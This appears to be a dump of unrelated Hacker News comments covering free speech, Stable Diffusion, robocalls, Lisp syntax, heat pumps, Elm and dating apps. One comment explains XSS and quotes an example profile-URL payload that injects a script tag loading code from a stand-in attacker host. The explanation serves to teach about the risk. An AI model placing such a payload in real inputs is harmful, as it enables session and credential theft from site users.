skysight-inc/HackerNews huggingface dataset:
> there's already a well defined level that Popper, common law, and the US constitution have all given

The "utterance of intolerant philosophies" does not solely refer to calls for violence or assault. As you point out yourself, that sort of speech had long been covered by the "harm principle" in common law and would have been entirely superfluous for Popper to rehash in the 1940s. In this and other writings he was clearly outlining a new class of speech and proposing a restriction on it.

> it's not this nebulous idea of anything that gives rise to something bad

That is also not what Popper described. There are clearly many things that give rise to something bad yet would not qualify as "intolerant philosophies" because their adherents are willing to conduct a rational argument and unlikely to resort to violence.

Of course people are free to reject Popper's argument and embrace the lesser constraint of the harm principle so that they can do things like debate Nazis on the internet. Personally I think there are some compelling arguments in favor of erring on the side of free speech. But we should be honest that this involves rejecting Popper's argument, not stretching it to mean whatever we want.

> Those who are looking to suppress that are on the same level as Nazis and reveal their lack of confidence in their own ability to counter criticism of their position - just as a Nazi might - and hence, reach for violence.

I do not understand this. Are you saying Twitter moderating Nazis is a form of violence?
> which has offended SD's CEO (because of the general principle of "Don't help software pirates").

There is likely a legal threat by NAI involved in the decision calculus here.
In my experience: yes.

The only way to really prevent it is to allowlist specific numbers you know will call the number and send "Number disconnected" signals for the rest. Eventually, the number gets quieter until it can be reached again.

The ideal setup would be to have a private number that you never give out that denies anyone not on your allow then use throwaway numbers you can turn on and off as you need them.

I used to have it where I would give numbers out then only have them 'active' when I was expecting a call.

My original hypothesis was that the numbers were harvested, my new one (and likely correct) is that numbers are randomly dialed.
Given the dude spent half a million dollars on training SD, I wouldn't be surprised if even though he chose to open-source the trained model, he has strong opinions on whether people should have the right to choose to open-source such things vs. having third-party crackers breach their systems and publish for them.
I don't really understand what's being alleged here. Nothing really seems bad to me. This person helped out when Stable Diffusion was much smaller by being a mod and creating a discord server. The op seems to say that Stable Diffusion was generally nice to him but communicated taking the discord channel poorly - okay, so?

If you're working with people, especially on a rapidly moving startup, sometimes things aren't going to be communicated well. If the people are, on net, good to you with some problems shouldn't you be working with those people to improve problems rather than writing reddit exposès?
Getting out of the Twitter deal could be a motive for having done this, aside from the Tesla supply chain dependency.

The Tesla board should move on from Musk. SpaceX is not in a good position, because he has a majority of the voting power.
I have a new unconfirmed hypothesis about this, which revolves around the darn parentheses.

The specific shape of the parentheses matters. Say we have:

(let ((s nil))
(dotimes (i 16)
(setq s (rbt-insert (1+ i) s)))
(pp s))

But say we replace the ( and ) glyphs with the ^ and $ shapes:

^let ^^s nil$$
^dotimes ^i 16$
^setq s ^rbt-insert ^1+ i$ s$$$
^pp s$$

There is a night-and-day difference between those two, for you and me. Now imagine you have the hypothetical cognitive disorder which I have christened "dyslispia". Maybe to someone with dyslispia, there isn't much difference between these two; their brain doesn't process and "auto-complete" the enclosure hint of the shape of the parentheses. All they see is noise. Those people are helped by dimming the color or using some indentation-only notation.

I also observe the curious effect that if we swap the shapes of the parentheses, I can still train myself to see the closure by rewiring my cognition to see the parentheses as pointing toward an interior in the convex direction:

)let ))s nil((
)dotimes )i 16(
)setq s )rbt-insert )1+ i( s(((
)pp s((

Whatever the reason, this is not as bad as ^ and $. It helps if I imagine this in 3D, and pretend that the ))s nil(( is pushed into a pillow, sorta thing.

If dyslispia is real, it's basically a form of dyslexias; it's fundamental brain wiring problem for which there is no cure. No amount of explanations about Lisp will fix it.

In general, to enjoy working with Lisp, the raw experience as such, it probably helps to be well-sighted (no visual impairment), and no dyslispia-like cognitive impairment. My remarks here are mainly about those who report persistent difficulties with Lisp, but who do not mention any visual impairment.
Claims like that really aren’t helpful without numbers backing them up

the cited paper gives the efficiency of heat pump but we’re missing multiple crucial values to get from there to a comparison of heating costs

Edit:
https://great-home.co.uk/air-source-heat-pump-running-costs-...

At current average British prices of 28p for electricity and 7p for gas, and using averages for both it looks like the commenter was mostly correct.

Not 100% if the spf Gives the realistic cop

In a new build that opted to forgo any gas connection, I’d be interested in seeing the costs from the substantial infra savings and hookup savings.
> A general estimate for calories burned in one mile is approximately 100 calories per mile, says Dr. Daniel V. Vigil, an associate clinical professor of health sciences at David Geffen School of Medicine at UCLA.

But sure it varies by weight. That said, the super-overweight are also too out of shape to run anywhere close to the required distance.

[1] https://www.healthline.com/health/fitness-exercise/running-b...
> It makes me think of the unnecessary logic board replacements their experts (“geniuses”) at apple stores always want you to do

I've literally never heard of this, and I've had several repairs via the genius bar.
This is incredible! A few years ago we used InboxSDK to build a custom interface to visualize all kinds of interaction information from a corporate database, based on a currently selected or hovered email address or thread (and in a way that it could be used alongside Streak, and actively was!).

It was a breath of fresh air, but not having access to source code meant that when we went outside of the supported interfaces and needed to do some reverse engineering ourselves, we were working with a hand tied behind our back, and couldn't easily contribute any of our findings upstream. Now, it's the perfect solution, and I hope an open community sprouts up around this!

Regarding the updates, it might be a good idea to put together a status page just for the SDK - similar to https://status.streak.com/ but perhaps a product that doesn't track historical uptime :) and provides more granular subscription capabilities.

That way, any project using this can subscribe to "Gmail made a change, if you're affected you'll need to bump your InboxSDK version and re-publish to the Chrome store" in a Slack thread or even write a webhook-creates-a-Github-PR integration and - in cases where there are business users of their extension - ensure that any resulting outage is triaged appropriately. And perhaps subscribe to more minor releases in a separate more-asynchronous Slack channel. I imagine this might be helpful for Streak as a consumer of the SDK as well :)
By that definition, unsurprisingly, no ARM pcs will ever exist.
Interestingly, the background colour of this site seems to change over time very subtly, and it's done by CSS with no JavaScript: The "changingbg" parts in https://interconnected.org/home/static/styles/interconnected...
“One of the great mistakes is to judge policies and programs by their intentions rather than their results.”

― Milton Friedman
"I'll believe corporations are people when Texas sentences one to death."

(No idea who first said that. Someone on the internet, probably.)
I mean hopefully he's paid well? Making salary a private issue only hurts people in my opinion.
How to Run a Department
Specifically, Golang 2.0 was reserved for backwards incompatible changes, generally understood to be of some significant size, not twiddly bits like this that are adequately covered by a go.mod flag. Generics was thought to possibly involve backwards incompatible changes, but it was done without backwards incompatibility. There aren't any similarly-sized issues on the horizon right now that would result in a 2.0.

If you track the issues closely on GitHub, there's a constant low-level discussion going on about it, but so far nothing seems to be both important enough and large enough to justify the version change, like, not even close.
> Why are Asians doing so well? Why can't we replicate this for other groups?

Parents matter.

https://en.wikipedia.org/wiki/Tiger_parenting
Are you sure something as low 220nm would? This is short enough that the chemical changes it causes are very different than longer UV.
Way worse than FB, I'd argue.

I used to think Reddit users skewed too heavily in certain ways, and didn't make sense. One day, using some tool (removeddit, reveddit, etc), I noticed how many posts and comments were removed by moderators - things that went against the skew.

It's one of the reasons places like r/politics became such an echo chamber dumpster fire.
The number of men with the attitude that the problem couldn’t possibly be the way they use the apps is astounding.

A female friend of mine took some very expensive online dating class run by a former data scientist from one of these apps and she started her own side business fixing mens profiles. I was very skeptical at first but I have several friends who’ve used her. Each of them went from basically no success at all to getting dates every week.

The good news is while there’s probably nothing you can do to make it a truly enjoyable experience, online dating can work quite well largely because the competition is so poor. Ever watch a female friend swipe? It’s amazing how bad most men are at this.
If you get a spam call / text, you can block that number from calling / texting you again.

I can already do that on my phone, and it is kind of useless due to caller-id spoofing that most robocallers use.

Also, probably wont work for services that require a phone number but don't accept VOIP numbers.

I wish the article addressed these issues.
We Improved User Activation at Warp
None of the makeshift military hospitals were actually used in NYC. They were only set up in the interest of preparedness, but they did not end up being necessary.
> According to Bremmer, Musk said Putin told him these goals would be accomplished “no matter what,” including the potential of a nuclear strike if Ukraine invaded Crimea, which Russia annexed in 2014. Bremmer wrote that Musk told him that “everything needed to be done to avoid that outcome.”

"He said that this guy said that this other guy said..."

I don't have access to Bremmer's article, but it looks like he called up Elon on the phone, and Elon was referring to that much previous conversation and Bremmer jumped to the conclusion that it was more recent than it was.
So it's just the same as the Netherlands?
Google Reveals ‘First Laptops Built for Cloud Gaming’ Just After Killing Stadia
Isn't this Google Voice which was once Grand Central (12 years ago)?

Forward your phone number to a different number through gvoice. For email, add a '+' symbol to your email address and filter them out if they get abusive.
It’s really amazing how these companies are treating people from disadvantaged groups as “a number on a spreadsheet” and patting themselves on the back for it.

History will not look kindly on this moment in time.
That is really cool. I hope you make a post about your work on Hacker News!
Happy to dive into that. For those unfamiliar, XSS attacks are a type of vulnerability where an attacker tricks a website into running the attacker’s code on an end user’s browser. For example, an attacker might set their profile picture URL to be `”/img><script src=”attacker.com/payload.js” />`, which if not properly sanitized would trigger the script to fire when inserted into the DOM. Credential exfiltration is the process of abusing an existing XSS vector to collect user sessions for later use. HTTPOnly cookies are an additional layer of security that can prevent exfiltration by preventing client-side JS from accessing the user session token. However, if the application has an XSS vector, the application is already severely compromised.

The approach our SDK takes (using client-side JS to write to storage) does not offer HTTPOnly protection. This pattern mirrors the approach taken by Firebase, which stores access tokens in local storage. In order to mitigate XSS impact, we have a few mechanisms available. The session JWT itself is only valid for 5 minutes (there is also a longer-lived opaque token, which is valid for longer and is rotated on its own cadence). We’re also introducing support for risk-based controls such as device fingerprinting.

That being said, there are designs that allow 3rd party APIs like ours to set HTTPOnly cookies, by proxying the 3rd party APIs as subdomains. In the future, we'll likely also offer a HTTPOnly session management offering in the SDK to interested customers.

A final note - for integrations with backend-as-a-service that require passing the JWT in a header (hasura [1], mongo atlas [2]), it's impossible to keep the JWT httponly. You can have multiple audiences but the JWT must be exposed to application code in order for the application code to send it somewhere else.

[1] https://hasura.io/docs/latest/auth/authentication/jwt/#heade...
[2] https://www.mongodb.com/docs/realm/web/authenticate/#custom-...
Sure, but that's a "taking a step back" notice from over a year ago.

*[edit] essentially nothing has happened for over a year https://github.com/elm/compiler/commits/master
I’ve used this technique, with some tweaks, and it’s great. For my usage I generally want full-bleed sections to extend their background but to have their inner content width the same (or close to the same) as normal content. It’s trivial to do, but might not be obvious if you’re not comfortable yet with CSS grid: you can nest the same technique, eg

<div class="content">
<div class="full some-bg content">
<!-- Container bg is full width, everything inside is normal width -->
<div class="feature">
<!-- Container bg is full width, everything inside is feature width -->
</div>
</div>
</div>
“Oh no! Someone asked something on the Internet that I consider inappropriate!”

You know there are communities/societies where people openly discuss their salary, right?
Archived: https://archive.ph/sYPBc
There was no response on that thread. I wanted to see what people actually think of Elm these days, which is why I asked in this thread too.
But - originally - you give a number (be it real or Mozilla or "burner") in order to be contacted by someone (and then somehow it was leaked to the robocallers).

The moment you change or abandon the number (be it Mozilla or "burner") that someone won't be able to contact you anymore.

But if you keep it, with the burner at least that someone will still be able to call you at the end of the month (when the the robocallers will have already eaten the 50 minutes allowed by Mozilla).
Service-unique email / username + service-unique credit card is good enough for, I'd estimate, 95% of people.

You are trying to avoid wholesale scoops of info and automated credential stuffing. If your threat model is people specifically seeking out and targeting you: godspeed.
I partially agree, but you are ending the reasoning one level short. The government budget is a tradeoff. People react more to recent events than those far past, even if rationally they should not. So sadly, if no mega-fire had disastrous consequences, over the years there would be cutbacks, neglect and denial on mitigating this particular threat as opposed to so many others that required our recent attention.
Mostly that yet another online community is shocked to learn that they thought they were living in a house they'd invested their own sweat equity into building when the whole time, they were really living in a shantytown parked in a spare corner of some corporation's city.

If it ain't your computer (and if no money even changed hands), it ain't your property.
Its not about belief in the ignorance of experts, but rather the principle that truth does not derive from authority. I don't believe experts are ignorant, I'll even go so far as to sometimes accept their claims as authoritative, but on demand they must be able to demonstrate where that authority derives from and it damn well better not the word of yet some other authority.
I effectively did this with Google Voice back when.

I would give marketers my Google voice number, it had better interface (and on cloud instead on device) contact management. I could send non favorites to a voice identification prompt (voiding all slow recordings or agents making multi calls that have a pickup delay) and for the final small percentage voice transcripts that I could determine if important.

Or for craigslist, I could forward calls to a phone for a short period of time, then turn off forwarding.
I have 1gbps symmetric fiber with static IP so I run some of my backends from home. Works fine for years.
And too add, how many millions of Jews were killed because they were Jewish in the middle of the last century? And how many American's were fine with this? How long did America choose to be impartial to this? Again, you can fuck right off with your racist bull shit. When you are MURDERED in the MILLIONS for being Irish/Jewish, then yes, society does see you as less than human and an other. Seems pretty straightforward to me.
And in other ways, reddit has much better moderation than either Twitter or Facebook
I would not say Hinge artificially restricts choice. You are limited in how many “likes” you can send each day, but it’s a different model where each like is actually a notification/puts you in someone’s “inbox”, so letting everybody like too much would make it too spammy to work.

That model is also quite good because you don’t need to pay for women to notice you. Those 10 people you like will notice you anyway, unlike other apps where you could like 1000 profiles and barely be seen by any of them.

I personally have found Hinge very effective compared to other apps without paying a cent. My like -> match -> date conversion rate was literally two orders of magnitude better than any other app.
DNA is only a blueprint, it exists along with epigenetic footnotes, and a noisy variation tolerant production process. add exosomatic contributions, during the course of development [ones lifetime] and you have a thing called phenotypic plasticity. this means multiple variations occur when using the same code but different system configurations.

This isnt quite like phrenology, but the mentation seems approximate.
Add /s or people will not understand
It also plays Stray perfectly fine btw.
I think an important question is how many of those Asians are drawn from abroad, vs our American homegrown Asians?

If they're homegrown, then clearly they're over-represented. But if they're poached from abroad, they are actually under-reprsented. One would assume 60% of employees of a global workforce would be Asian.
The drawbacks of luajit string interning
There's difference, physical ownership of the server would mean no company would be able to transfer ownership with a click of a mouse.

Even if transfer of rights looks reasonable, it's better to live in a world where such transfer is made through law and not through company managers will.
> most reddit users these days even prefer it to community-run ones. Not uncommon to have two subreddits at a launch of a game and the unofficial one will always "lose".

Games often link to the "official" reddit community from inside the game, so no surprise that traffic will be driven there
Why do you want to know? I can't imagine how knowing that answer is going to make anything better for anyone here. Are you a mod of a similar service and need something to negotiate with? Even as a negotiating datapoint, it's only valuable if YC would hire you to moderate (which I doubt) and you can use that as leverage.

If it was public, then random users might demand more of dang, thinking that his salary justifies it.
How do phone cameras compare to scanners these days? For occasionally sending documents around I've been using a phone camera and taking a picture. Never had anybody complain.
Yeah, I will say that there are some places on the internet that post all the DMCAs they receive (and most they reject) - and the vast majority of them are not even filed correctly and can be ignored.

Even if it's not worth it to "learn how to do it right" over a free tier user, it's probably good to get a policy established so that if it DID end up in court, you could point to it and say "we've always followed the policy as required to the letter".
It's just my mouth not being able to handle even the good bacteria. My genes are weak.
One theory I have is that advanced intelligences are out there harvesting energy, so they deliberately start black holes to power their spacecraft. Imagine some sort of collection depot on the other side of a black hole that is harvesting exotic matter so they can travel vast distances with ease. </tinfoil>
See Fred's comment above - the one thing that's different about our SDK vs typical JS libraries is that Gmail is a moving target AND several extensions may be working modyifying Gmail at the same time. It's really important that developers are on the latest compatible versions of the SDK.

The app id's are used to reach out to developers who may be on too old of a version of the SDK.

All that being said, seems like we could make this opt in. Another idea might be to post warnings in the dev console (in dev mode) if the version of the SDK you are using is too old. We'll explore all of these but have other ideas?
What has always bothered me is the nomenclature; "black hole," is an astounding misnomer. A hole is not something, it is a cavity in something else. Black holes are definitely something and a lot of it. Space is the black hole of the Universe, not black holes. Those are the mountains.
Does anyone else find all the little AI-powered non sequiturs and nonsensical points as funny as I do?
Mine is and has been for a few decades. Different machines, but yeah.

I run it behind a cheapo VPS for geolocation reasons.
From my brief experience of trying to move onto 0.19, it broke the few project I had running on elm and the path forward wasn't very straightforward. JS interop and dealing with json are both still tedious and awful. I really want to want to use elm, but I'm not sure I can justify putting in the time.
When I say community package those are still usually reserved to trusted maintainers and that process in itself can be rather political.
At the time of my reply, there are 11 comments with only one being overtly negative (towards bug report resourcing). The post is less than 25 minutes old. Surely we can afford HN more time than that to move on?
There is some stemming performed but otherwise quotes are honoured. If you come across a query that matches no results, there should be a message in the results saying so, and that it fell back to non-quotes.

fwiw I work in Mojeek.